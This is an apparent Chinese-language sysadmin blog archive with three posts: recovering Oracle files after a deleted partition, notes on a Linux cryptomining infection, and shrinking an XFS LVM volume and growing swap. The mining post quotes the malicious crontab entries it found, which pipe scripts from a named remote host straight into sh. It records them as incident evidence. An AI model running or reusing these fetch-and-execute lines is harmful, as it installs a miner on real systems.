分类目录归档：操作系统

误删除分区oracle数据库恢复

发表于 2022 年 7 月 6 日 由 惜分飞

很多时候祸福相依,又一个用户发生类似的事情，数据库故障
ora-600-3020

他们公司内部折腾,然后把数据库open成功，并且也顺利导出来dmp在d盘.然后重新安装系统,结果悲剧发生了,他们在操作过程中给c盘扩容,把d盘删除了,然后以前d盘的部分空间分配给c盘了,但是d盘数据全部消失（以前的数据库文件，最新备份出来的dmp文件）.用户给我反馈给一系列操作之后,提醒客户尽可能不要对该磁盘进行任何操作（已经分区200G的c盘和800G未分区的空间）,然后通过恢复工具进行分析
20220706202513
运气不错,相关的文件没有被覆盖,并且顺利恢复出来
dmp
20220706215448
20220706215611
运气不错,顺利完成相关恢复,将误操作数据恢复恢复来,再次提醒各位,操作谨慎,切莫因为一时疏忽酿成打错.

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记录一种挖矿病毒现象

发表于 2021 年 7 月 28 日 由 惜分飞

最近有朋友遇到linux系统不行被注入了挖矿病毒,大概记录下存在问题
在/etc/passwd文件中有x用户

x:x:2001:2001::/home/x:/bin/bash

在root和x用户的crontab中有恶意执行任务

[root@localhost tmp]# crontab -u x -l
* * * * * /var/tmp/.systemd/.systemd
* * * * * /var/tmp/.update/.update
*/10 * * * * curl -fsSL http://pw.pwndns.pw/update.sh | sh -s uc
@reboot curl -fsSL http://pw.pwndns.pw/reboot.sh | sh
[root@localhost tmp]# crontab -l
* * * * * /var/tmp/.systemd/.systemd
*/5 * * * * curl -fsSL http://pw.pwndns.pw/root.sh | sh

在/var/tmp下面有.systemd和.update文件夹

[root@localhost tmp]# ls -lart /var/tmp/
drwxr-xr-x   2 x    tape   37 Jul 27 21:49 .systemd
drwxr-xr-x   2 x    tape   36 Jul 27 21:49 .update
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lvm缩小xfs文件系统空间和对swap进行扩容操作

发表于 2021 年 6 月 28 日 由 惜分飞

xfs文件系统lvm缩小空间操作（/home从100G减小到80G)

[root@xifenfei ~]# df -h
Filesystem             Size  Used Avail Use% Mounted on
/dev/mapper/rhel-root  449G  6.0G  443G   2% /
devtmpfs                63G     0   63G   0% /dev
tmpfs                   63G     0   63G   0% /dev/shm
tmpfs                   63G   20M   63G   1% /run
tmpfs                   63G     0   63G   0% /sys/fs/cgroup
/dev/mapper/rhel-home  100G   38M  100G   1% /home
/dev/sda2             1014M  165M  850M  17% /boot
/dev/sda1              200M  9.8M  191M   5% /boot/efi
tmpfs                   13G  4.0K   13G   1% /run/user/42
tmpfs                   13G   32K   13G   1% /run/user/0
/dev/sr0               4.2G  4.2G     0 100% /media

[root@xifenfei u01]# xfsdump -f /home.xfsdump /home
xfsdump: using file dump (drive_simple) strategy
xfsdump: version 3.1.7 (dump format 3.0) - type ^C for status and control

 ============================= dump label dialog ==============================

please enter label for this dump session (timeout in 300 sec)
 -> home
session label entered: "tar czvf /home.tar.gz /home
home"

 --------------------------------- end dialog ---------------------------------

xfsdump: level 0 dump of xifenfei:/home
xfsdump: dump date: Fri Jun 25 11:37:13 2021
xfsdump: session id: 4d75008e-9927-417d-9722-52d13bb89eb0
xfsdump: session label: 
xfsdump: ino map phase 1: constructing initial dump list
xfsdump: ino map phase 2: skipping (no pruning necessary)
xfsdump: ino map phase 3: skipping (only one dump stream)
xfsdump: ino map construction complete
xfsdump: estimated dump size: 4828224 bytes
xfsdump: /var/lib/xfsdump/inventory created

 ============================= media label dialog =============================

please enter label for media in drive 0 (timeout in 300 sec)
 -> home
media label entered: "home"

 --------------------------------- end dialog ---------------------------------

xfsdump: creating dump session media file 0 (media 0, file 0)
xfsdump: dumping ino map
xfsdump: dumping directories
xfsdump: dumping non-directory files
xfsdump: ending media file
xfsdump: media file size 4732672 bytes
xfsdump: dump size (non-dir files) : 4588480 bytes
xfsdump: dump complete: 4 seconds elapsed
xfsdump: Dump Summary:
xfsdump:   stream 0 /home.xfsdump OK (success)
xfsdump: Dump Status: SUCCESS

[root@xifenfei u01]# umount /home
[root@xifenfei u01]# lvreduce -L 80G /dev/mapper/rhel-home
  WARNING: Reducing active logical volume to 80.00 GiB.
  THIS MAY DESTROY YOUR DATA (filesystem etc.)
Do you really want to reduce rhel/home? [y/n]: y
  Size of logical volume rhel/home changed from 100.00 GiB (25600 extents) to 80.00 GiB (20480 extents).
  Logical volume rhel/home successfully resized.

[root@xifenfei u01]# mkfs.xfs -f /dev/mapper/rhel-home
meta-data=/dev/mapper/rhel-home  isize=512    agcount=16, agsize=1310720 blks
         =                       sectsz=512   attr=2, projid32bit=1
         =                       crc=1        finobt=0, sparse=0
data     =                       bsize=4096   blocks=20971520, imaxpct=25
         =                       sunit=64     swidth=64 blks
naming   =version 2              bsize=4096   ascii-ci=0 ftype=1
log      =internal log           bsize=4096   blocks=10240, version=2
         =                       sectsz=512   sunit=64 blks, lazy-count=1
realtime =none                   extsz=4096   blocks=0, rtextents=0
[root@xifenfei u01]# mount /home
xfsrestore -f /home.xfsdump /home
[root@xifenfei u01]# xfsrestore -f /home.xfsdump /home
xfsrestore: using file dump (drive_simple) strategy
xfsrestore: version 3.1.7 (dump format 3.0) - type ^C for status and control
xfsrestore: searching media for dump
xfsrestore: examining media file 0
xfsrestore: dump description: 
xfsrestore: hostname: xifenfei
xfsrestore: mount point: /home
xfsrestore: volume: /dev/mapper/rhel-home
xfsrestore: session time: Fri Jun 25 11:37:13 2021
xfsrestore: level: 0
xfsrestore: session label: "tar czvf /home.tar.gz /home
home"
xfsrestore: media label: "home"
xfsrestore: file system id: b996cff9-332b-4c07-96e1-8335a1f23627
xfsrestore: session id: 4d75008e-9927-417d-9722-52d13bb89eb0
xfsrestore: media id: 6094b9b5-a45f-4638-a0e2-c1b982ead67b
xfsrestore: using online session inventory
xfsrestore: searching media for directory dump
xfsrestore: reading directories
xfsrestore: 119 directories and 188 entries processed
xfsrestore: directory post-processing
xfsrestore: restoring non-directory files
xfsrestore: restore complete: 0 seconds elapsed
xfsrestore: Restore Summary:
xfsrestore:   stream 0 /home.xfsdump OK (success)
xfsrestore: Restore Status: SUCCESS
[root@xifenfei u01]# df -h
Filesystem             Size  Used Avail Use% Mounted on
/dev/mapper/rhel-root  449G   14G  435G   4% /
devtmpfs                63G     0   63G   0% /dev
tmpfs                   63G   20M   63G   1% /run
tmpfs                   63G     0   63G   0% /sys/fs/cgroup
/dev/sda2             1014M  165M  850M  17% /boot
/dev/sda1              200M  9.8M  191M   5% /boot/efi
tmpfs                   13G  4.0K   13G   1% /run/user/42
tmpfs                   13G   28K   13G   1% /run/user/0
/dev/sr0               4.2G  4.2G     0 100% /media
tmpfs                   63G     0   63G   0% /dev/shm
/dev/mapper/rhel-home   80G   38M   80G   1% /home

xfs系统的lvm无法直接缩小空间,只能是通过xfsdump /home内容,然后lvm缩小空间重做xfs文件系统,再使用xfsdump还原

lvm扩容swap空间(swap从8G扩大到16G)

[root@xifenfei home]# free -m
              total        used        free      shared  buff/cache   available
Mem:         128355       86907       26110         274       15338       37632
Swap:         8192           0        8192
[root@xifenfei home]# lvextend -L 16GB /dev/rhel/swap
  Size of logical volume rhel/swap changed from 8.00 GiB (2048 extents) to 16.00 GiB (4096 extents).
  Logical volume rhel/swap successfully resized.
[root@xifenfei home]# sync;sync
[root@xifenfei home]# swapoff /dev/rhel/swap
mkswap /dev/rhel/swap 
[root@xifenfei home]# mkswap /dev/rhel/swap 
mkswap: /dev/rhel/swap: warning: wiping old swap signature.
swapon /dev/rhel/swap Setting up swapspace version 1, size = 16777212 KiB
no label, UUID=8d79ccf4-1796-49c9-968d-23abb67bc6eb
[root@xifenfei home]# swapon /dev/rhel/swap 
[root@xifenfei home]# free -m
              total        used        free      shared  buff/cache   available
Mem:         128355       86907       26110         274       15338       37632
Swap:         16383           0       16383
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